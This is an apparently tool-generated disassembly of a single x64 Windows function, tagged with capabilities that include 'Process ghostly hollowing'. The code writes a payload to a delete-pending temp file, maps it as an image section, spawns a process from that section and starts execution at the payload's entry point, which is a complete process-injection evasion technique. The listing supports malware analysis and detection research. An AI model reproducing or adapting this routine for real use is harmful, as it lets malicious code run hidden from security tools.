Function at 0x140001520
Capabilities:
Get common file path
Parse pe header
Process ghostly hollowing
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rbx, rdx
mov r14, rcx
lea rdx, [rbp + 0x1a0]
mov ecx, 0x104
mov esi, r8d
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x3b0]
xor r8d, r8d
lea rdx, [0x1400044ac]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rcx, [rbp + 0x3b0]
call fcn.1400011c0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017a4
mov r9d, 1
mov byte [rbp + 0x140], 1
lea r8, [rbp + 0x140]
mov dword [rsp + 0x20], 0xd
lea rdx, [rbp + 0x158]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
test eax, eax
js 0x1400017a4
xor r15d, r15d
lea rax, [rbp + 0x148]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], esi
lea rax, [rbp + 0x158]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x148], r15
call qword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
js 0x1400017a4
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
mov qword [rsp + 0x68], r15
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
js 0x1400017a4
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov rax, qword [rsp + 0x68]
cmp rax, 0xffffffffffffffff
je 0x1400017a4
mov byte [rsp + 0x40], r15b
lea r9, [r15 - 1]
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0x1fffff
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x60], r15
call qword [0x140006718]
test eax, eax
js 0x1400017a4
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x150]
lea r9d, [r15 + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x168]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x1400017a4
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x1b8
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp + 0x170]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x1b8
mov qword [rsp + 0x20], r15
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x1400017a4
mov rdi, qword [rbp - 0x70]
test rbx, rbx
je 0x14000173e
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x14000173e
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x14000173e
cmp dword [rax + rbx], 0x4550
jne 0x14000173e
mov ebx, dword [rax + rbx + 0x28]
jmp 0x140001741
mov ebx, r15d
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x168]
mov r8, r14
call fcn.140001b70
test al, al
je 0x1400017a4
mov r9, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
lea edx, [r8 + 0x20]
mov eax, ebx
add rax, rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r15
call qword [0x140006708]
test eax, eax
setns al
jmp 0x1400017a6
xor al, al
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140002150
mov rbx, qword [rsp + 0x718]
add rsp, 0x6d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret